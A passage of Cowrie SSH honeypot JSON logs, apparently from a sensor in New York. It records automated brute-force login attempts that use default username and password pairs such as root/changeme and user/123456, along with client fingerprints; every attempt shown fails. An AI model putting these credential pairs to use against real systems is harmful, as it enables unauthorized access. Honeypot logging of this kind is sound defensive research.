{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:16.997212Z","src_ip":"168.167.228.74","session":"af559576a422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:17.249818Z","src_ip":"168.167.228.74","session":"af559576a422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:17.312073Z","src_ip":"91.92.42.227","session":"e1fc220d29fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco","message":"login attempt [root/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:18.296754Z","src_ip":"168.167.228.74","session":"af559576a422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:19.047397Z","src_ip":"91.92.42.227","session":"e1fc220d29fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:19.552624Z","src_ip":"168.167.228.74","session":"af559576a422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48176,"dst_ip":"10.17.0.5","dst_port":22,"session":"720b5c57eada","protocol":"ssh","message":"New connection: 91.92.42.227:48176 (10.17.0.5:22) [session: 720b5c57eada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:20.571159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:20.895883Z","src_ip":"91.92.42.227","session":"720b5c57eada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:20.901984Z","src_ip":"91.92.42.227","session":"720b5c57eada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:22.314838Z","src_ip":"91.92.42.227","session":"720b5c57eada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:24.105949Z","src_ip":"91.92.42.227","session":"720b5c57eada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1220367fc704","protocol":"ssh","message":"New connection: 91.92.42.227:43172 (10.17.0.5:22) [session: 1220367fc704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:27.174506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:27.529143Z","src_ip":"91.92.42.227","session":"1220367fc704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:27.532275Z","src_ip":"91.92.42.227","session":"1220367fc704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:30.198242Z","src_ip":"91.92.42.227","session":"1220367fc704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:31.829693Z","src_ip":"91.92.42.227","session":"1220367fc704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43192,"dst_ip":"10.17.0.5","dst_port":22,"session":"460afe2feb27","protocol":"ssh","message":"New connection: 91.92.42.227:43192 (10.17.0.5:22) [session: 460afe2feb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:33.955532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:34.533792Z","src_ip":"91.92.42.227","session":"460afe2feb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:34.537756Z","src_ip":"91.92.42.227","session":"460afe2feb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:37.283406Z","src_ip":"91.92.42.227","session":"460afe2feb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:39.390104Z","src_ip":"91.92.42.227","session":"460afe2feb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57684,"dst_ip":"10.17.0.5","dst_port":22,"session":"8002fa79ec64","protocol":"ssh","message":"New connection: 91.92.42.227:57684 (10.17.0.5:22) [session: 8002fa79ec64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:40.868338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:41.476123Z","src_ip":"91.92.42.227","session":"8002fa79ec64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:41.479228Z","src_ip":"91.92.42.227","session":"8002fa79ec64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:44.010496Z","src_ip":"91.92.42.227","session":"8002fa79ec64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.56923246383667,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:45.056806Z","src_ip":"128.199.8.54","session":"f4c221dcfdf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:45.707571Z","src_ip":"91.92.42.227","session":"8002fa79ec64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36636,"dst_ip":"10.17.0.5","dst_port":22,"session":"63bb06fdffbe","protocol":"ssh","message":"New connection: 91.92.42.227:36636 (10.17.0.5:22) [session: 63bb06fdffbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:48.552484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:48.776139Z","src_ip":"91.92.42.227","session":"63bb06fdffbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:48.779232Z","src_ip":"91.92.42.227","session":"63bb06fdffbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:50.491101Z","src_ip":"91.92.42.227","session":"63bb06fdffbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:52.013747Z","src_ip":"91.92.42.227","session":"63bb06fdffbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54660,"dst_ip":"10.17.0.5","dst_port":22,"session":"322670ba8d1f","protocol":"ssh","message":"New connection: 91.92.42.227:54660 (10.17.0.5:22) [session: 322670ba8d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:54.933326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:55.690212Z","src_ip":"91.92.42.227","session":"322670ba8d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:55.693659Z","src_ip":"91.92.42.227","session":"322670ba8d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:57.856021Z","src_ip":"91.92.42.227","session":"322670ba8d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:59.891853Z","src_ip":"91.92.42.227","session":"322670ba8d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54770,"dst_ip":"10.17.0.5","dst_port":22,"session":"eead8728c7f8","protocol":"ssh","message":"New connection: 91.92.42.227:54770 (10.17.0.5:22) [session: eead8728c7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:01.420696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:02.046565Z","src_ip":"91.92.42.227","session":"eead8728c7f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:02.050649Z","src_ip":"91.92.42.227","session":"eead8728c7f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"redhat","message":"login attempt [student/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:05.217919Z","src_ip":"91.92.42.227","session":"eead8728c7f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:07.049796Z","src_ip":"91.92.42.227","session":"eead8728c7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"766aa411c51e","protocol":"ssh","message":"New connection: 91.92.42.227:36558 (10.17.0.5:22) [session: 766aa411c51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:07.816468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:08.531082Z","src_ip":"91.92.42.227","session":"766aa411c51e","protocol":"ssh"}
